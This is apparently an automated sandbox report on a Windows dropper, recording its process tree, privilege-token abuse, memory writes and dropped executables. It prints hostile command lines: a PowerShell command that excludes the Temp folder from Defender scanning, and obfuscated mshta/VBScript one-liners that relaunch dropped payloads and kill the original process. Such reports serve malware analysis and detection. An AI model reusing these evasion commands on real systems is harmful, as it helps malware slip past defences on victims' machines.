powershell.exeThu166f9a8bbe80.exeCTqxJvmkZWJ2hSOaCWXQYm0F.exepid process 2928 powershell.exe 2928 powershell.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3112 Thu166f9a8bbe80.exe 3012 CTqxJvmkZWJ2hSOaCWXQYm0F.exe 3012 CTqxJvmkZWJ2hSOaCWXQYm0F.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
svchost.exesvchost.exesvchost.exeThu165bd34b1e1d4d81.exepowershell.exeThu161580bf75.exetaskkill.exeWerFault.exe1YwD9ZqQyzsXxSid0bUX5EDp.exedescription pid process Token: SeSystemtimePrivilege 4596 svchost.exe Token: SeSystemtimePrivilege 4596 svchost.exe Token: SeIncBasePriorityPrivilege 4596 svchost.exe Token: SeShutdownPrivilege 860 svchost.exe Token: SeCreatePagefilePrivilege 860 svchost.exe Token: SeShutdownPrivilege 860 svchost.exe Token: SeCreatePagefilePrivilege 860 svchost.exe Token: SeShutdownPrivilege 860 svchost.exe Token: SeCreatePagefilePrivilege 860 svchost.exe Token: SeShutdownPrivilege 3328 svchost.exe Token: SeCreatePagefilePrivilege 3328 svchost.exe Token: SeCreateTokenPrivilege 4548 Thu165bd34b1e1d4d81.exe Token: SeAssignPrimaryTokenPrivilege 4548 Thu165bd34b1e1d4d81.exe Token: SeLockMemoryPrivilege 4548 Thu165bd34b1e1d4d81.exe Token: SeIncreaseQuotaPrivilege 4548 Thu165bd34b1e1d4d81.exe Token: SeMachineAccountPrivilege 4548 Thu165bd34b1e1d4d81.exe Token: SeTcbPrivilege 4548 Thu165bd34b1e1d4d81.exe Token: SeSecurityPrivilege 4548 Thu165bd34b1e1d4d81.exe Token: SeTakeOwnershipPrivilege 4548 Thu165bd34b1e1d4d81.exe Token: SeLoadDriverPrivilege 4548 Thu165bd34b1e1d4d81.exe Token: SeSystemProfilePrivilege 4548 Thu165bd34b1e1d4d81.exe Token: SeSystemtimePrivilege 4548 Thu165bd34b1e1d4d81.exe Token: SeProfSingleProcessPrivilege 4548 Thu165bd34b1e1d4d81.exe Token: SeIncBasePriorityPrivilege 4548 Thu165bd34b1e1d4d81.exe Token: SeCreatePagefilePrivilege 4548 Thu165bd34b1e1d4d81.exe Token: SeCreatePermanentPrivilege 4548 Thu165bd34b1e1d4d81.exe Token: SeBackupPrivilege 4548 Thu165bd34b1e1d4d81.exe Token: SeRestorePrivilege 4548 Thu165bd34b1e1d4d81.exe Token: SeShutdownPrivilege 4548 Thu165bd34b1e1d4d81.exe Token: SeDebugPrivilege 4548 Thu165bd34b1e1d4d81.exe Token: SeAuditPrivilege 4548 Thu165bd34b1e1d4d81.exe Token: SeSystemEnvironmentPrivilege 4548 Thu165bd34b1e1d4d81.exe Token: SeChangeNotifyPrivilege 4548 Thu165bd34b1e1d4d81.exe Token: SeRemoteShutdownPrivilege 4548 Thu165bd34b1e1d4d81.exe Token: SeUndockPrivilege 4548 Thu165bd34b1e1d4d81.exe Token: SeSyncAgentPrivilege 4548 Thu165bd34b1e1d4d81.exe Token: SeEnableDelegationPrivilege 4548 Thu165bd34b1e1d4d81.exe Token: SeManageVolumePrivilege 4548 Thu165bd34b1e1d4d81.exe Token: SeImpersonatePrivilege 4548 Thu165bd34b1e1d4d81.exe Token: SeCreateGlobalPrivilege 4548 Thu165bd34b1e1d4d81.exe Token: 31 4548 Thu165bd34b1e1d4d81.exe Token: 32 4548 Thu165bd34b1e1d4d81.exe Token: 33 4548 Thu165bd34b1e1d4d81.exe Token: 34 4548 Thu165bd34b1e1d4d81.exe Token: 35 4548 Thu165bd34b1e1d4d81.exe Token: SeDebugPrivilege 2928 powershell.exe Token: SeDebugPrivilege 5072 Thu161580bf75.exe Token: SeDebugPrivilege 1092 taskkill.exe Token: SeRestorePrivilege 5412 WerFault.exe Token: SeBackupPrivilege 5412 WerFault.exe Token: SeBackupPrivilege 5412 WerFault.exe Token: SeCreateTokenPrivilege 2076 1YwD9ZqQyzsXxSid0bUX5EDp.exe Token: SeAssignPrimaryTokenPrivilege 2076 1YwD9ZqQyzsXxSid0bUX5EDp.exe Token: SeLockMemoryPrivilege 2076 1YwD9ZqQyzsXxSid0bUX5EDp.exe Token: SeIncreaseQuotaPrivilege 2076 1YwD9ZqQyzsXxSid0bUX5EDp.exe Token: SeMachineAccountPrivilege 2076 1YwD9ZqQyzsXxSid0bUX5EDp.exe Token: SeTcbPrivilege 2076 1YwD9ZqQyzsXxSid0bUX5EDp.exe Token: SeSecurityPrivilege 2076 1YwD9ZqQyzsXxSid0bUX5EDp.exe Token: SeTakeOwnershipPrivilege 2076 1YwD9ZqQyzsXxSid0bUX5EDp.exe Token: SeLoadDriverPrivilege 2076 1YwD9ZqQyzsXxSid0bUX5EDp.exe Token: SeSystemProfilePrivilege 2076 1YwD9ZqQyzsXxSid0bUX5EDp.exe Token: SeSystemtimePrivilege 2076 1YwD9ZqQyzsXxSid0bUX5EDp.exe Token: SeProfSingleProcessPrivilege 2076 1YwD9ZqQyzsXxSid0bUX5EDp.exe Token: SeIncBasePriorityPrivilege 2076 1YwD9ZqQyzsXxSid0bUX5EDp.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
Thu16f3de88a335950bb.tmppid process 4540 Thu16f3de88a335950bb.tmp -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
LogonUI.exepid process 1564 LogonUI.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
setup_x86_x64_install.exesetup_installer.exesetup_install.execmd.execmd.execmd.execmd.exesvchost.execmd.execmd.execmd.execmd.exedescription pid process target process PID 4784 wrote to memory of 1184 4784 setup_x86_x64_install.exe setup_installer.exe PID 4784 wrote to memory of 1184 4784 setup_x86_x64_install.exe setup_installer.exe PID 4784 wrote to memory of 1184 4784 setup_x86_x64_install.exe setup_installer.exe PID 1184 wrote to memory of 2380 1184 setup_installer.exe setup_install.exe PID 1184 wrote to memory of 2380 1184 setup_installer.exe setup_install.exe PID 1184 wrote to memory of 2380 1184 setup_installer.exe setup_install.exe PID 2380 wrote to memory of 928 2380 setup_install.exe cmd.exe PID 2380 wrote to memory of 928 2380 setup_install.exe cmd.exe PID 2380 wrote to memory of 928 2380 setup_install.exe cmd.exe PID 2380 wrote to memory of 1860 2380 setup_install.exe cmd.exe PID 2380 wrote to memory of 1860 2380 setup_install.exe cmd.exe PID 2380 wrote to memory of 1860 2380 setup_install.exe cmd.exe PID 2380 wrote to memory of 4976 2380 setup_install.exe cmd.exe PID 2380 wrote to memory of 4976 2380 setup_install.exe cmd.exe PID 2380 wrote to memory of 4976 2380 setup_install.exe cmd.exe PID 2380 wrote to memory of 1756 2380 setup_install.exe cmd.exe PID 2380 wrote to memory of 1756 2380 setup_install.exe cmd.exe PID 2380 wrote to memory of 1756 2380 setup_install.exe cmd.exe PID 2380 wrote to memory of 4792 2380 setup_install.exe cmd.exe PID 2380 wrote to memory of 4792 2380 setup_install.exe cmd.exe PID 2380 wrote to memory of 4792 2380 setup_install.exe cmd.exe PID 2380 wrote to memory of 2100 2380 setup_install.exe cmd.exe PID 2380 wrote to memory of 2100 2380 setup_install.exe cmd.exe PID 2380 wrote to memory of 2100 2380 setup_install.exe cmd.exe PID 2380 wrote to memory of 3440 2380 setup_install.exe cmd.exe PID 2380 wrote to memory of 3440 2380 setup_install.exe cmd.exe PID 2380 wrote to memory of 3440 2380 setup_install.exe cmd.exe PID 2380 wrote to memory of 3488 2380 setup_install.exe cmd.exe PID 2380 wrote to memory of 3488 2380 setup_install.exe cmd.exe PID 2380 wrote to memory of 3488 2380 setup_install.exe cmd.exe PID 928 wrote to memory of 2928 928 cmd.exe powershell.exe PID 928 wrote to memory of 2928 928 cmd.exe powershell.exe PID 928 wrote to memory of 2928 928 cmd.exe powershell.exe PID 2380 wrote to memory of 2796 2380 setup_install.exe cmd.exe PID 2380 wrote to memory of 2796 2380 setup_install.exe cmd.exe PID 2380 wrote to memory of 2796 2380 setup_install.exe cmd.exe PID 2380 wrote to memory of 4116 2380 setup_install.exe cmd.exe PID 2380 wrote to memory of 4116 2380 setup_install.exe cmd.exe PID 2380 wrote to memory of 4116 2380 setup_install.exe cmd.exe PID 4976 wrote to memory of 2516 4976 cmd.exe Thu16205451b994.exe PID 4976 wrote to memory of 2516 4976 cmd.exe Thu16205451b994.exe PID 4976 wrote to memory of 2516 4976 cmd.exe Thu16205451b994.exe PID 2380 wrote to memory of 3448 2380 setup_install.exe cmd.exe PID 2380 wrote to memory of 3448 2380 setup_install.exe cmd.exe PID 2380 wrote to memory of 3448 2380 setup_install.exe cmd.exe PID 1860 wrote to memory of 3112 1860 cmd.exe Thu166f9a8bbe80.exe PID 1860 wrote to memory of 3112 1860 cmd.exe Thu166f9a8bbe80.exe PID 1860 wrote to memory of 3112 1860 cmd.exe Thu166f9a8bbe80.exe PID 2380 wrote to memory of 3384 2380 setup_install.exe cmd.exe PID 2380 wrote to memory of 3384 2380 setup_install.exe cmd.exe PID 2380 wrote to memory of 3384 2380 setup_install.exe cmd.exe PID 1756 wrote to memory of 5072 1756 cmd.exe Thu161580bf75.exe PID 1756 wrote to memory of 5072 1756 cmd.exe Thu161580bf75.exe PID 3328 wrote to memory of 1892 3328 svchost.exe MoUsoCoreWorker.exe PID 3328 wrote to memory of 1892 3328 svchost.exe MoUsoCoreWorker.exe PID 2796 wrote to memory of 3948 2796 cmd.exe Thu16f3de88a335950bb.exe PID 2796 wrote to memory of 3948 2796 cmd.exe Thu16f3de88a335950bb.exe PID 2796 wrote to memory of 3948 2796 cmd.exe Thu16f3de88a335950bb.exe PID 3488 wrote to memory of 2944 3488 cmd.exe Thu16f584bd3686.exe PID 3488 wrote to memory of 2944 3488 cmd.exe Thu16f584bd3686.exe PID 3448 wrote to memory of 1920 3448 cmd.exe Thu1653d94a8da.exe PID 3448 wrote to memory of 1920 3448 cmd.exe Thu1653d94a8da.exe PID 3448 wrote to memory of 1920 3448 cmd.exe Thu1653d94a8da.exe PID 4792 wrote to memory of 3276 4792 cmd.exe Thu1628aafb3efd7c3d.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu166f9a8bbe80.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu166f9a8bbe80.exeThu166f9a8bbe80.exe5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\Pictures\Adobe Films\CTqxJvmkZWJ2hSOaCWXQYm0F.exe"C:\Users\Admin\Pictures\Adobe Films\CTqxJvmkZWJ2hSOaCWXQYm0F.exe"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\Pictures\Adobe Films\iXQYAVs6MRuQ70gZkJxgUQD0.exe"C:\Users\Admin\Pictures\Adobe Films\iXQYAVs6MRuQ70gZkJxgUQD0.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\oMfUtIrKOohZfNXsczbdLhWB.exe"C:\Users\Admin\Pictures\Adobe Films\oMfUtIrKOohZfNXsczbdLhWB.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\yQTciQ6mzkKqUfVaQ7PT65g4.exe"C:\Users\Admin\Pictures\Adobe Films\yQTciQ6mzkKqUfVaQ7PT65g4.exe"6⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Program Files (x86)\Company\NewProduct\inst002.exe"C:\Program Files (x86)\Company\NewProduct\inst002.exe"7⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Company\NewProduct\cm3.exe"C:\Program Files (x86)\Company\NewProduct\cm3.exe"7⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe"C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\UkcKlVZQaU1T_Tk9fg4DF8Ki.exe"C:\Users\Admin\Pictures\Adobe Films\UkcKlVZQaU1T_Tk9fg4DF8Ki.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRipt: ClOsE (CrEATEoBjeCT ( "wsCrIpt.shELl" ).RUn( "C:\Windows\system32\cmd.exe /Q /c TyPe ""C:\Users\Admin\Pictures\Adobe Films\UkcKlVZQaU1T_Tk9fg4DF8Ki.exe"" > ..\aDLsKHQL9R.exE && STaRT ..\aDLsKHQL9R.exe -pb0sP2z4l4ZpZ1d2K9 & if """" == """" for %Q IN ( ""C:\Users\Admin\Pictures\Adobe Films\UkcKlVZQaU1T_Tk9fg4DF8Ki.exe"" ) do taskkill /f /Im ""%~nxQ"" ", 0 , TRUe ))7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /Q /c TyPe "C:\Users\Admin\Pictures\Adobe Films\UkcKlVZQaU1T_Tk9fg4DF8Ki.exe" > ..\aDLsKHQL9R.exE && STaRT ..\aDLsKHQL9R.exe -pb0sP2z4l4ZpZ1d2K9 & if "" == "" for %Q IN ("C:\Users\Admin\Pictures\Adobe Films\UkcKlVZQaU1T_Tk9fg4DF8Ki.exe") do taskkill /f /Im "%~nxQ"8⤵
-
C:\Users\Admin\AppData\Local\Temp\aDLsKHQL9R.exE..\aDLsKHQL9R.exe -pb0sP2z4l4ZpZ1d2K99⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /Im "UkcKlVZQaU1T_Tk9fg4DF8Ki.exe"9⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\IZhhQdf_ACsnY6fHlUQZ46_g.exe"C:\Users\Admin\Pictures\Adobe Films\IZhhQdf_ACsnY6fHlUQZ46_g.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\Xq3lxPgxhf9lRFGn1DpnsgGn.exe"C:\Users\Admin\Pictures\Adobe Films\Xq3lxPgxhf9lRFGn1DpnsgGn.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\KY178SxWqF7xJkZmPeytWy0D.exe"C:\Users\Admin\Pictures\Adobe Films\KY178SxWqF7xJkZmPeytWy0D.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\_tPSqRpRyrQiGtNHdV8ZKH2_.exe"C:\Users\Admin\Pictures\Adobe Films\_tPSqRpRyrQiGtNHdV8ZKH2_.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\aVL0zwShl8SDM1Nhz4DDXwuK.exe"C:\Users\Admin\Pictures\Adobe Films\aVL0zwShl8SDM1Nhz4DDXwuK.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\nDem2Jj4S0zSItlPpl20peBR.exe"C:\Users\Admin\Pictures\Adobe Films\nDem2Jj4S0zSItlPpl20peBR.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2348 -s 2687⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\Pictures\Adobe Films\tKVL2GRlhB4ATa0L_pLwGWwS.exe"C:\Users\Admin\Pictures\Adobe Films\tKVL2GRlhB4ATa0L_pLwGWwS.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Pictures\Adobe Films\XbzmnUPhLrMtgqN8uKCWL4Vr.exe"C:\Users\Admin\Pictures\Adobe Films\XbzmnUPhLrMtgqN8uKCWL4Vr.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\xU4QVhhGGYDpDzhnPmCPdFLD.exe"C:\Users\Admin\Pictures\Adobe Films\xU4QVhhGGYDpDzhnPmCPdFLD.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\fOQQaX1MpyY3WzsCPUPgeZgi.exe"C:\Users\Admin\Pictures\Adobe Films\fOQQaX1MpyY3WzsCPUPgeZgi.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\D6eI4LPczor41omES2LAPc49.exe"C:\Users\Admin\Pictures\Adobe Films\D6eI4LPczor41omES2LAPc49.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\IXWADmXTn7yzfCjqQJR3tQtJ.exe"C:\Users\Admin\Pictures\Adobe Films\IXWADmXTn7yzfCjqQJR3tQtJ.exe"6⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\1YwD9ZqQyzsXxSid0bUX5EDp.exe"C:\Users\Admin\Pictures\Adobe Films\1YwD9ZqQyzsXxSid0bUX5EDp.exe"6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Pictures\Adobe Films\y7eBlbaWBu4kU7qKHtScbK5T.exe"C:\Users\Admin\Pictures\Adobe Films\y7eBlbaWBu4kU7qKHtScbK5T.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\kmFxwYZ2_riHTMNxvwhtahYb.exe"C:\Users\Admin\Pictures\Adobe Films\kmFxwYZ2_riHTMNxvwhtahYb.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu16205451b994.exe /mixone4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu16205451b994.exeThu16205451b994.exe /mixone5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2516 -s 3086⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu161580bf75.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu161580bf75.exeThu161580bf75.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\7231721.scr"C:\Users\Admin\AppData\Roaming\7231721.scr" /S6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\6647442.scr"C:\Users\Admin\AppData\Roaming\6647442.scr" /S6⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\6036748.scr"C:\Users\Admin\AppData\Roaming\6036748.scr" /S6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\6686198.scr"C:\Users\Admin\AppData\Roaming\6686198.scr" /S6⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\3990905.scr"C:\Users\Admin\AppData\Roaming\3990905.scr" /S6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu165bd34b1e1d4d81.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu165bd34b1e1d4d81.exeThu165bd34b1e1d4d81.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4548 -s 17926⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu164ba03be19.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu164ba03be19.exeThu164ba03be19.exe5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu164ba03be19.exeC:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu164ba03be19.exe6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu167d514d2a7ac5a.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu167d514d2a7ac5a.exeThu167d514d2a7ac5a.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu1653d94a8da.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu1653d94a8da.exeThu1653d94a8da.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu1653d94a8da.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu1653d94a8da.exe"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu16f3de88a335950bb.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu16f584bd3686.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu16466b26f8b7.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu16466b26f8b7.exeThu16466b26f8b7.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4816 -s 3046⤵
- Drops file in Windows directory
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu1628aafb3efd7c3d.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu1628aafb3efd7c3d.exeThu1628aafb3efd7c3d.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 3086⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\System32\Upfc.exeC:\Windows\System32\Upfc.exe /launchtype periodic /cv U7uDbNUVK0qEePFEnXb6KQ.01⤵
-
C:\Windows\System32\sihclient.exeC:\Windows\System32\sihclient.exe /cv U7uDbNUVK0qEePFEnXb6KQ.0.22⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s W32Time1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵
-
C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 638d76f9cd8a8ff69c52fd20b3886a7b U7uDbNUVK0qEePFEnXb6KQ.0.1.0.3.01⤵
- Modifies data under HKEY_USERS
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\uus\AMD64\MoUsoCoreWorker.exeC:\Windows\uus\AMD64\MoUsoCoreWorker.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu16f3de88a335950bb.exeThu16f3de88a335950bb.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-U8VP1.tmp\Thu16f3de88a335950bb.tmp"C:\Users\Admin\AppData\Local\Temp\is-U8VP1.tmp\Thu16f3de88a335950bb.tmp" /SL5="$3016C,1570064,56832,C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu16f3de88a335950bb.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu16f3de88a335950bb.exe"C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu16f3de88a335950bb.exe" /SILENT3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-2TUIS.tmp\Thu16f3de88a335950bb.tmp"C:\Users\Admin\AppData\Local\Temp\is-2TUIS.tmp\Thu16f3de88a335950bb.tmp" /SL5="$4016C,1570064,56832,C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu16f3de88a335950bb.exe" /SILENT4⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-HMKEO.tmp\postback.exe"C:\Users\Admin\AppData\Local\Temp\is-HMKEO.tmp\postback.exe" ss15⤵
- Executes dropped EXE
-
C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe"C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe" ss15⤵
- Executes dropped EXE
-
C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe"C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe" /q /norestart5⤵
- Executes dropped EXE
-
